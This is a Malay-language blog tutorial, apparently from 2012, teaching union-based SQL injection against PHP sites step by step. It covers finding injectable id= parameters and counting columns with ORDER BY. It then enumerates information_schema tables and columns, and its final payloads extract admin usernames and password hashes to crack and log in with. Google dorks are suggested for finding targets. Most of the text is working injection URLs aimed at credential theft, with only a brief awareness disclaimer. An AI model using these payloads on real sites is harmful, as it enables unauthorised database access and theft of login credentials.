Anda di halaman 1dari 5

SQL Injection Tutorial

Posted on September 8, 2012 by Keychaine

assalamualaikum and salam sejahtera and salam satu malaysia .. Keychaine


was here
5 perkara yang anda perlu tahu tentang SQLi
- Asas injection
- Mendapatkan Data
- Keluarkan Data
- Kumpul Maklumat
- Kumpul Data
Asas Injection
- Seperti yang semua tahu , jika ingin melakukan SQL injection , semestinya
laman tersebut menggunakan Database. Ini kerana melalui injection sql ini
adalah untuk mendapatkan maklumat melalui database tersebut.
- Cara mudah mengesan laman yang menggunakan sql ialah jika diperhatikan
pada URL ( alamat web ) , ianya mempunyai perimeter id= seperti :
http://www.contoh.my/index.php?id=1
- index.php merupakan nama file dan id=1 merupakan perimeter bagi
sesuatu info pada laman tersebut.
- Dengan menggunakan perintah :
$result = $db -> query (SELECT * FROM `content` WHERE id= . $_GET
['id']);
- Kebiasaanya laman akan diperintahkan melalui :
SELECT * FROM `content` WHERE id=1
- Ini akan membolehkannya disuntik ( inject ) pada perimeter id=1 .
Contohnya :
http://www.contoh.my/index.php?id=1
- Maka anda akan perhatikan keluar error seperti :
Fatal error: Call to a member function fetch_row() on a non-object in
/home/sites/contoh.my/public_html/index.php on line 50
- Namunpun begitu , bukan semua laman akan mengeluarkan error jenis ini,

jika anda perhatikan perbezaan laman sebelum dan selepas di inject , maka
ia berpotensi di inject.
- Jadi , sehingga kini Keychaine harap anda semua faham bagaimana untuk
mengenalpasti laman yang berpotensi di inject .
Mendapatkan Data
- Dibahagian ini , Keychaine akan menerangkan secara lalu bagaimana
mendapatkan Data melalui query ( suntikan / injection )
- Setelah kita mendapati sesuatu laman mempunyai vuln untuk sql injection ,
anda perlu mendapatkan maklumat jumlah table dan column dalam bagi
sesuatu database.
- Dengan menggunakan arahan ORDER BY akan memberikan maklumat
tersebut.
- Anda harus meneka jumlah table dengan perhatikan error yang muncul. Jika
belum keluar error maka jumlah table masih banyak.
- Contohnya :
http://www.contoh.my/index.php?id=1+ORDER+BY+1
http://www.contoh.my/index.php?id=1+ORDER+BY+2
http://www.contoh.my/index.php?id=1+ORDER+BY+3
http://www.contoh.my/index.php?id=1+ORDER+BY+4 <Ada error
- Jadi , jumlah table ialah 3
Keluarkan Data
- Setelah kita mengetahui jumlah table , maka kita perlu mengeluarkan data
melalui arahan UNION SELECT
- Contoh laman tadi mempunyai 3 table.
http://www.contoh.my/index.php?id=1+ORDER+BY+3
- Maka , tambahhkan arahan UNION SELECT. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,2,3

- Selepas menjalankan arahan diatas , akan muncul no 1 atau 2 dll bagi


menunjukkan no ajaib yang membolehkan arahan dijalankan keatas no tu
pula .
- Contohnya untuk laman ini keluar no 2
Kumpul Maklumat
- Setelah kita mendapat no ajaib iaitu 2 , disini kita akan dapatkan maklumat
versi / database yang digunakan laman ini.
- Jadi , anda hanya perlu tambah arahan version() pada no ajaib , maka akan
keluar versi / database yang digunakan. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,version(),3
- Maka versi database akan muncul seperti 4.X.X atau 5.X.X , jika database
laman tersebut menggunakan versi 5 , maka anda boleh guna default
database name nya iaitu information_schema .
- Jadi , database name kita dah dapat , seterusnya kita dapatkan table name
pula melalui arahan TABLE_NAME. Arahan ini diletakkan di no ajaib tadi ( 2 )
- Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,TABLE_NAME,3
- Dan tambahkan database name kat belakang menjadi :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,TABLE_NAME,3+from+information_schema.tables
- Maka anda akan dapat lihat table yang ada dalam database laman tersebut.
Kumpul Data
- Jadi sekarang anda sudah dapat lihat table yang ada dalam laman tersebut ,
langkah terakhir ini ialah untuk mengumpul Data daripada table.
- Jadi , perkara asas yang biasanya penggodam lakukan ialah mencari table
yang mengandungi maklumat Admin / users bagi membolehkannya
mendapatkan maklumat login ( email , password )
- Gunakan arahan group_concat(table_name) pada no ajaib ( 2 ) bagi
mengeluarkan maklumat dalam table tersebut.
- Contohnya :

http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_sc
hema.tables
- Dan gantikan
+from+information_schema.tables+where+table_schema=database() kat
belakang. Contohnya :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_sc
hema.tables+where+table_schema=database()
- Kali ini anda akan perhatikan folder table yang mengandungi data
didalamnya. Contohnya anda lihat table yang bernama Admin , sila
convert table name Admin tersebut kepada HEXADECIMEL disini
- Setelah anda convert , sila masukkan arahan group_concat(column_name)
kat no ajaib tadi ( 2 ). Contohnya :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_s
chema.tables+where+table_schema=database()
- Dan kemudian tambahkan arahan
+from+information_schema.columns+where+table_name=0xHEXADECIMEL
. Contohnya table name tadi Admin , setelah di convert menjadi
41444D494E . Maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_s
chema.columns+where+table_name=0x41444D494E
- Sekarang kita berada dalam folder ADMIN , jadi kita akan keluarkan data
melalui arahan concat_ws(0x3a,nama column yang terkandung dlm table
ADMIN) . Contohnya table yang ada ialah username dan password ,
maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,concat_ws(0x3a,username,password),3+from+inf
ormation_schema.columns+where+table_name=0x41444D494E

- Kemudian gantikan arahan belakang kepada +from+Admin bagi


menjayakan arahan untuk mendapatkan maklumat daripada table ADMIN.
Maka arahan akan seperti berikut :
http://www.contoh.my/index.php?
id=1+UNION+SELECT+1,concat_ws(0x3a,username,password),3+from+Ad
min
- Dan sekarang anda akan lihat data username dan password seperti
arahan yang kita jalankan.
- Password berkemungkinan besar dalam bentuk hash , jadi anda perlu
decrypt untuk mendapatkan plain text nya seterusnya mendapatkan login
page admin tersebut.
Apa yang Keychaine tunjukkan disini ialah melalui 5 langkah sahaja
penggodam berjaya mendapatkan maklumat melalui error sql. Namunpun
begitu , masih terdapat beberapa arahan lain yang boleh digunakan pada
masa tertentu dan tujuan tertentu.
Keychaine cuba memaparkan cara penggodam mendapatkan data melalui
teknik SQLi , jadi ini akan membuka mata semua pihak bagaimana mereka
melakukan kerja mereka. Harap dengan info ini maka pihak tertentu akan
cuba manfaatkannya kearah kebaikan dan diselangi dengan tujuan
pembelajaran.
Info :
1 Anda boleh gunakan pada file jenis .php dan juga .asp juga
2 Gunakan dork google untuk memudahkan pencarian perimeter

Anda mungkin juga menyukai